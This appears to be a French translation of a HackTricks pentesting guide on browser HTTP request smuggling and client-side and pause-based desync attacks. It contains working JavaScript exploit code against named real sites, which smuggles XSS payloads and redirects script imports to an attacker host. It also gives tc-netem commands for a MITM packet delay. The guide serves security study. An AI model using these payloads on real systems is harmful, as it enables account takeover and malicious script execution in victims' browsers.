hacktricks/pentesting-web/http-request-smuggling/browser-http-request-smuggling.md
2023-06-03 13:10:46 +00:00

25 KiB

Smuggling de requête HTTP du navigateur

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

CL.0/H2.0 désynchronisation compatible avec le navigateur

Cette vulnérabilité se produit lorsque l'en-tête Content Length (CL) est complètement ignoré par le serveur backend. Ensuite, le backend traite le corps comme le début de la méthode de la deuxième requête. Ignorer le CL revient à le traiter comme ayant une valeur de 0, il s'agit donc d'une désynchronisation CL.0 - une classe d'attaque connue mais moins explorée.

L'attaque était possible parce que le serveur backend n'attendait tout simplement pas une requête POST.

{% hint style="warning" %} Notez que cette vulnérabilité est déclenchée par une requête HTTP tout à fait valide et conforme à la spécification. Cela signifie que le front-end n'a aucune chance de se protéger contre elle, et elle pourrait même être déclenchée par un navigateur. {% endhint %}

La seule différence entre CL.0 et H2.0 est que la deuxième utilise HTTP2 (qui a un en-tête de longueur implicite) mais que le backend ne l'utilise pas non plus.

Désynchronisation côté client

Les attaques de désynchronisation traditionnelles empoisonnent la connexion entre un front-end et un serveur back-end, et sont donc impossibles sur les sites Web qui n'utilisent pas une architecture front-end/back-end. Ce sont des désynchronisations côté serveur à partir de maintenant. La plupart des désynchronisations côté serveur ne peuvent être déclenchées que par un client HTTP personnalisé émettant une requête malformée.

La capacité d'un navigateur à causer une désynchronisation permet une toute nouvelle classe de menace appelée désynchronisation côté client (CSD).
Une attaque CSD commence par la visite de la victime sur le site Web de l'attaquant, qui fait ensuite envoyer à leur navigateur deux requêtes inter-domaines vers le site vulnérable. La première requête est conçue pour désynchroniser la connexion du navigateur et faire en sorte que la deuxième requête déclenche une réponse nuisible, donnant généralement à l'attaquant le contrôle du compte de la victime.

Détecter

Un vecteur CSD est une requête HTTP avec deux propriétés clés.

Premièrement, le serveur doit ignorer le Content-Length (CL) de la requête. Cela se produit généralement parce que la requête a déclenché une erreur du serveur, ou que le serveur n'attendait tout simplement pas une requête POST à l'endpoint choisi. Essayez de cibler les fichiers statiques et les redirections au niveau du serveur, et de déclencher des erreurs via des URL trop longues, et des URL semi-malformées comme /%2e%2e.

Deuxièmement, la requête doit être déclenchable dans un navigateur Web inter-domaines. Les navigateurs restreignent considérablement le contrôle sur les requêtes inter-domaines, vous avez donc un contrôle limité sur les en-têtes, et si votre requête a un corps, vous devrez utiliser la méthode HTTP POST. En fin de compte, vous ne contrôlez que l'URL, plus quelques éléments comme l'en-tête Referer, le corps et la dernière partie du Content-Type.

Test d'ignorance de CL

La façon de tester cette configuration incorrecte est d'envoyer 2 requêtes et de faire passer une dans le milieu. Si la connexion déviée a affecté la réponse de la deuxième requête, cela signifie qu'elle est vulnérable :

{% hint style="warning" %} Notez que vous ne pouvez pas tester cette vulnérabilité en envoyant simplement un Content-Length plus grand que celui envoyé et en cherchant un délai d'attente car certains serveurs répondent même s'ils n'ont pas reçu tout le corps. {% endhint %}

Il est important de noter si le site Web cible prend en charge HTTP/2. Les attaques CSD exploitent généralement la réutilisation de connexion HTTP/1.1 et les navigateurs Web préfèrent utiliser HTTP/2 chaque fois que possible, donc si le site cible prend en charge HTTP/2, vos attaques sont peu susceptibles de fonctionner. Il y a une exception ; certains proxys avant ne prennent pas en charge HTTP/2 donc vous pouvez exploiter quiconque les utilise. Cela inclut les proxys d'entreprise, certains VPN intrusifs et même certains outils de sécurité.

Confirmer

Tout d'abord, sélectionnez un site pour lancer l'attaque. Ce site doit être accessible via HTTPS et situé sur un domaine différent de la cible.

Ensuite, assurez-vous que vous n'avez pas de proxy configuré, puis accédez à votre site d'attaque. Ouvrez les outils de développement et passez à l'onglet Réseau. Pour aider à déboguer les problèmes potentiels plus tard, je recommande de faire les ajustements suivants :

  • Sélectionnez la case à cocher "Conserver le journal".
  • Cliquez avec le bouton droit de la souris sur les en-têtes de colonne et activez la colonne "ID de connexion".

Passez à la console de développement et exécutez JavaScript pour reproduire votre séquence d'attaque en utilisant fetch(). Cela peut ressembler à quelque chose comme :

fetch('https://example.com/', {
  method: 'POST',
     body: "GET /hopefully404 HTTP/1.1\r\nX: Y", // malicious prefix
     mode: 'no-cors', // ensure connection ID is visible
     credentials: 'include' // poison 'with-cookies' pool
}).then(() => {
     location = 'https://example.com/' // use the poisoned connection
})

J'ai défini le mode de récupération 'no-cors' pour m'assurer que Chrome affiche l'ID de connexion dans l'onglet Réseau. J'ai également défini credentials: 'include' car Chrome a deux pools de connexions distincts - un pour les requêtes avec des cookies et un pour les requêtes sans. Vous voudrez généralement exploiter les navigations, et celles-ci utilisent le pool 'with-cookies', il est donc utile de prendre l'habitude de toujours empoisonner ce pool.

Lorsque vous exécutez cela, vous devriez voir deux requêtes dans l'onglet Réseau avec le même ID de connexion, et la deuxième devrait déclencher un 404 :

Si cela fonctionne comme prévu, félicitations - vous avez trouvé une désynchronisation côté client !

Exploitation - Stockage

Une option consiste à identifier une fonctionnalité sur le site cible qui vous permet de stocker des données textuelles, et de créer le préfixe de sorte que les cookies, les en-têtes d'authentification ou le mot de passe de votre victime finissent par être stockés quelque part où vous pouvez les récupérer. Ce flux d'attaque fonctionne presque de la même manière que la désynchronisation côté serveur, donc je ne m'attarderai pas dessus.

Exploitation - Chaîne et pivot

Dans des circonstances normales, de nombreuses classes d'attaques côté serveur ne peuvent être lancées que par un attaquant ayant un accès direct au site cible car elles reposent sur des requêtes HTTP que les navigateurs refusent d'envoyer, comme la manipulation des en-têtes HTTP - empoisonnement du cache web, la plupart des désynchronisations côté serveur, les attaques d'en-tête d'hôte, les injections SQL basées sur User-Agent, CSRF JSON Content-type et de nombreuses autres.

Le chemin le plus simple vers une attaque réussie est venu de deux techniques clés généralement utilisées pour les attaques de désynchronisation côté serveur : empoisonnement des ressources JavaScript via des redirections d'en-tête d'hôte, et l'utilisation de la méthode HEAD pour assembler une réponse avec un HTML malveillant. Les deux techniques ont dû être adaptées pour surmonter certains défis novateurs associés à l'exploitation dans le navigateur de la victime.

Exemples d'exploits

Exemple de HEAD empilé

  • Exploit coloré

  • Exploit JS
fetch('https://www.capitalone.ca/assets', {
    method: 'POST',
    // use a cache-buster to delay the response
    body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\nHost: www.capitalone.ca\r\n\r\nGET /x?x=<script>alert(1)</script> HTTP/1.1\r\nX: Y`,
    credentials: 'include',
    mode: 'cors' // throw an error instead of following redirect
}).catch(() => {
    location = 'https://www.capitalone.ca/'
})va

Explication :

  • Abus de CL.0 dans /assets (il redirige vers /assets/ et ne vérifie pas le CL)
  • Contrebande d'une requête HEAD (parce que les réponses HEAD contiennent toujours une longueur de contenu)
  • Contrebande d'une requête GET dont le contenu va être réfléchi dans la réponse avec la charge utile.
    • En raison de la longueur de contenu de la requête HEAD, la réponse de cette requête sera le corps de la requête HEAD
  • Définir le mode cors. Normalement, cela n'est pas fait, mais dans ce cas, la réponse du serveur à la POST initiale est une redirection qui, si elle est suivie, l'exploit ne fonctionnera pas. Par conséquent, le mode cors est utilisé pour déclencher une erreur et rediriger la victime avec le catch.

Redirection d'en-tête d'hôte + empoisonnement du cache côté client

  • Exploit JS
fetch('https://redacted/', {
    method: 'POST',
    body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y",
    credentials: 'include'}
).catch(() => { location='https://redacted/+CSCOE+/win.js' })
  • Une requête vers /+webvpn+/ avec un domaine différent dans l'en-tête Host est répondue avec une redirection vers /+webvpn+/index.html vers ce domaine dans l'en-tête Host.
  • L'emplacement dans la deuxième requête est défini sur /+CSCOE+/win.js afin de empoisonner le cache de ce fichier .js.
    • Cette requête sera répondue avec la redirection de /+webvpn+/ vers le domaine de l'attaquant avec le chemin /+webvpn+/index.html
  • Le cache de win.js sera empoisonné avec une redirection vers la page de l'attaquant, mais aussi la victime suivra la redirection car elle a été assignée à la variable location et finira sur la page web de l'attaquant.
  • L'attaquant redirigera ensuite la victime vers https://redacted/+CSCOE+/logon.html. Cette page importera /+CSCOE+/win.js. Dont le cache est une redirection vers le serveur de l'attaquant, par conséquent, l'attaquant peut répondre avec un code JS malveillant.

La victime accédera à la page de l'attaquant deux fois, la première fois elle s'attend à un HTML qui redirige la victime vers https://redacted/+CSCOE+/logon.html et la deuxième fois elle s'attend à un code javascript (la charge utile). Un polyglotte peut être utilisé pour servir les deux réponses en une seule :

HTTP/1.1 200 OK
Content-Type: text/html

alert('oh dear')/*<script>location = 'https://redacted/+CSCOE+/logon.html'</script>*/

Payload HEAD avec TE chunked

Lors de la recherche de CSD, vous pouvez également tester des URL semi-malformées telles que /..%2f ou /%2f.

  • Exploit en couleur

  • Exploit JS
fetch('https://www.verisign.com/%2f', { 
    method: 'POST',
    body: `HEAD /assets/languagefiles/AZE.html HTTP/1.1\r\nHost: www.verisign.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n34d\r\nx`, 
    credentials: 'include',
    headers: {'Content-Type': 'application/x-www-form-urlencoded'
}}).catch(() => {
    let form = document.createElement('form')
    form.method = 'POST'
    form.action = 'https://www.verisign.com/robots.txt'
    form.enctype = 'text/plain'
    let input = document.createElement('input')
    input.name = '0\r\n\r\nGET /<svg/onload=alert(1)> HTTP/1.1\r\nHost: www.verisign.com\r\n\r\nGET /?aaaaaaaaaaaaaaa HTTP/1.1\r\nHost: www.verisign.com\r\n\r\n'
    input.value = ''
    form.appendChild(input)
    document.body.appendChild(form)
    form.submit()
}
  • La page /%2f est accédée pour exploiter la vulnérabilité CL.0.
  • Une requête HEAD est contrebandée en utilisant l'en-tête Transfer-Encoding: chunked.
    • Cet en-tête est nécessaire dans ce scénario car sinon le serveur refuse d'accepter une requête HEAD avec un corps.
  • Ensuite, l'utilisateur envoie un POST dont le corps contient le chunk final de la précédente requête HEAD et une nouvelle requête qui est contrebandée avec du contenu (la charge utile JS) qui sera réfléchie dans la réponse.
    • Par conséquent, le navigateur traitera la réponse à la requête HEAD comme la réponse à la requête POST qui contiendra également dans le corps de la réponse qui reflète l'entrée de l'utilisateur dans la deuxième requête contrebandée.

Redirection d'en-tête d'hôte + RC

  • Exploit JS
<script>
    function reset() {
        fetch('https://vpn.redacted/robots.txt', 
            {mode: 'no-cors', credentials: 'include'}
        ).then(() => {
            x.location = "https://vpn.redacted/dana-na/meeting/meeting_testjs.cgi?cb="+Date.now()
        })
        setTimeout(poison, 120) // worked on 140. went down to 110
    }

    function poison(){
        sendPoison()
        sendPoison()
        sendPoison()
        setTimeout(reset, 1000)
    }

    function sendPoison(){
        fetch('https://vpn.redacted/dana-na/css/ds_1234cb049586a32ce264fd67d524d7271e4affc0e377d7aede9db4be17f57fc1.css', 
            {
                method: 'POST',
                body: "GET /xdana-na/imgs/footerbg.gif HTTP/1.1\r\nHost: x.psres.net\r\nFoo: '+'a'.repeat(9826)+'\r\nConnection: keep-alive\r\n\r\n",
                mode: 'no-cors', 
                credentials: 'include'
            }
        )
    }

</script>
<a onclick="x = window.open('about:blank'); reset()">Start attack</a>

Dans ce cas, encore une fois, il y a une redirection d'en-tête d'hôte qui pourrait être utilisée pour pirater une importation JS. Cependant, cette fois, la redirection n'est pas mise en cache, donc l'empoisonnement du cache côté client n'est pas une option.

Par conséquent, l'attaque effectuée fera que la victime accède à la page vulnérable dans un onglet et puis, juste avant que la page essaie de charger un fichier JS, empoisonner les connexions d'acheminement de socket (3 dans ce cas).
Comme la chronologie doit être extrêmement précise, l'attaque est effectuée contre un nouvel onglet à chaque itération jusqu'à ce que cela fonctionne.

{% hint style="warning" %} Gardez à l'esprit que dans ce cas, /meeting_testjs.cgi a été attaqué car il charge un Javascript qui répond avec un 404, donc il n'est pas mis en cache. Dans d'autres scénarios où vous essayez d'attaquer un JS qui est mis en cache, vous devez attendre qu'il disparaisse du cache avant de lancer une nouvelle attaque. {% endhint %}

Étapes résumées :

  • Ouvrir une nouvelle fenêtre.
  • Émettre une demande inoffensive à la cible pour établir une nouvelle connexion, rendant les chronométrages plus cohérents.
  • Naviguer dans la fenêtre vers la page cible à /meeting_testjs.cgi.
  • 120ms plus tard, créer trois connexions empoisonnées en utilisant le gadget de redirection.
  • 5ms plus tard, pendant le rendu de /meeting_testjs.cgi, la victime tentera avec un peu de chance d'importer /appletRedirect.js et sera redirigée vers x.psres.net, qui sert un JS malveillant.
  • Si ce n'est pas le cas, réessayer l'attaque.

Désynchronisation basée sur la pause

La pause peut également créer de nouvelles vulnérabilités de désynchronisation en déclenchant des implémentations de délai d'attente de demande mal guidées.

Ainsi, un attaquant pourrait envoyer une demande avec des en-têtes indiquant qu'il y a un corps, puis attendre que le front-end expire avant d'envoyer le corps. Si le front-end expire mais laisse la connexion ouverte, le corps de cette demande sera traité comme une nouvelle demande.

Exemple : Varnish

La cache Varnish dispose d'une fonctionnalité appelée synth(), qui vous permet d'émettre une réponse sans transférer la demande à l'arrière-plan. Voici une règle d'exemple utilisée pour bloquer l'accès à un dossier :

if (req.url ~ "^/admin") {
    return (synth(403, "Forbidden"));
}

Lors du traitement d'une requête partielle qui correspond à une règle synthétique, Varnish expire s'il ne reçoit aucune donnée pendant 15 secondes. Lorsque cela se produit, il laisse la connexion ouverte pour une réutilisation même s'il n'a lu que la moitié de la requête sur la socket. Cela signifie que si le client envoie la deuxième moitié de la requête HTTP, elle sera interprétée comme une nouvelle requête.

Pour déclencher une désynchronisation basée sur une pause sur un front-end vulnérable, commencez par envoyer vos en-têtes, en promettant un corps, puis attendez simplement. Finalement, vous recevrez une réponse et lorsque vous enverrez enfin votre corps de requête, il sera interprété comme une nouvelle requête :

{% hint style="warning" %} Apparemment, cela a été corrigé le 25 janvier en tant que CVE-2022-23959. {% endhint %}

Exemple : Apache

Tout comme Varnish, il est vulnérable sur les points d'extrémité où le serveur génère la réponse lui-même plutôt que de laisser l'application gérer la requête. Cela se produit notamment avec les redirections au niveau du serveur : Redirect 301 / /en

Exploitation côté serveur

Si le serveur vulnérable (Apache ou Varnish dans ce cas) est à l'arrière-plan, un front-end qui transmet la requête au serveur d'arrière-plan (les en-têtes HTTP dans ce cas) sans mettre en tampon l'ensemble du corps de la requête est nécessaire.

Dans ce cas, l'attaquant ne recevra pas l'expiration de la réponse tant qu'il n'aura pas envoyé le corps. Mais s'il connaît le délai d'expiration, cela ne devrait pas poser de problème.

Le répartiteur de charge d'applications (ALB) d'Amazon diffuse les données de la connexion au besoin, mais s'il reçoit la réponse à la moitié de la requête (le délai d'expiration) avant de recevoir le corps, il n'enverra pas le corps, donc une condition de course doit être exploitée ici :

Il y a une complication supplémentaire lorsqu'il s'agit d'exploiter Apache derrière ALB - les deux serveurs ont un délai d'expiration par défaut de 60 secondes. Cela laisse une fenêtre de temps extrêmement courte pour envoyer la deuxième partie de la requête. L'attaque RC a finalement réussi après 66 heures.

Exploitation MITM

Il est apparemment impossible d'arrêter une requête du navigateur afin d'exploiter une vulnérabilité de désynchronisation de pause. Cependant, vous pouvez toujours effectuer une attaque MITM pour mettre en pause une requête envoyée par le navigateur. Notez que cette attaque ne repose pas sur le décryptage du trafic.

Le flux d'attaque est très similaire à une attaque de désynchronisation côté client régulière. L'utilisateur visite une page contrôlée par l'attaquant, qui émet une série de requêtes inter-domaines vers l'application cible. La première requête HTTP est délibérément rembourrée pour être si grande que le système d'exploitation la divise en plusieurs paquets TCP, permettant à un MITM actif de retarder le dernier paquet, déclenchant une désynchronisation basée sur une pause. En raison du rembourrage, l'attaquant peut identifier quel paquet mettre en pause simplement en fonction de la taille.

Du côté client, cela ressemble à une désynchronisation côté client régulière utilisant le gadget HEAD, à l'exception du rembourrage de la requête :

let form = document.createElement('form')
form.method = 'POST'
form.enctype = 'text/plain'
form.action = 'https://x.psres.net:6082/redirect?'+"h".repeat(600)+ Date.now()
let input = document.createElement('input')
input.name = "HEAD / HTTP/1.1\r\nHost: x\r\n\r\nGET /redirect?<script>alert(document.domain)</script> HTTP/1.1\r\nHost: x\r\nFoo: bar"+"\r\n\r\n".repeat(1700)+"x"
input.value = "x"
form.append(input)
document.body.appendChild(form)
form.submit()

Sur le système de l'attaquant effectuant le MITM aveugle, le délai a été mis en œuvre en utilisant tc-NetEm :

# Setup
tc qdisc add dev eth0 root handle 1: prio priomap

# Flag packets to 34.255.5.242 that are between 700 and 1300 bytes
tc filter add dev eth0 protocol ip parent 1:0 prio 1 basic \
match 'u32(u32 0x22ff05f2 0xffffffff at 16)' \
and 'cmp(u16 at 2 layer network gt 0x02bc)' \
and 'cmp(u16 at 2 layer network lt 0x0514)' \
flowid 1:3

# Delay flagged packets by 61 seconds
tc qdisc add dev eth0 parent 1:3 handle 10: netem delay 61s

Références

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥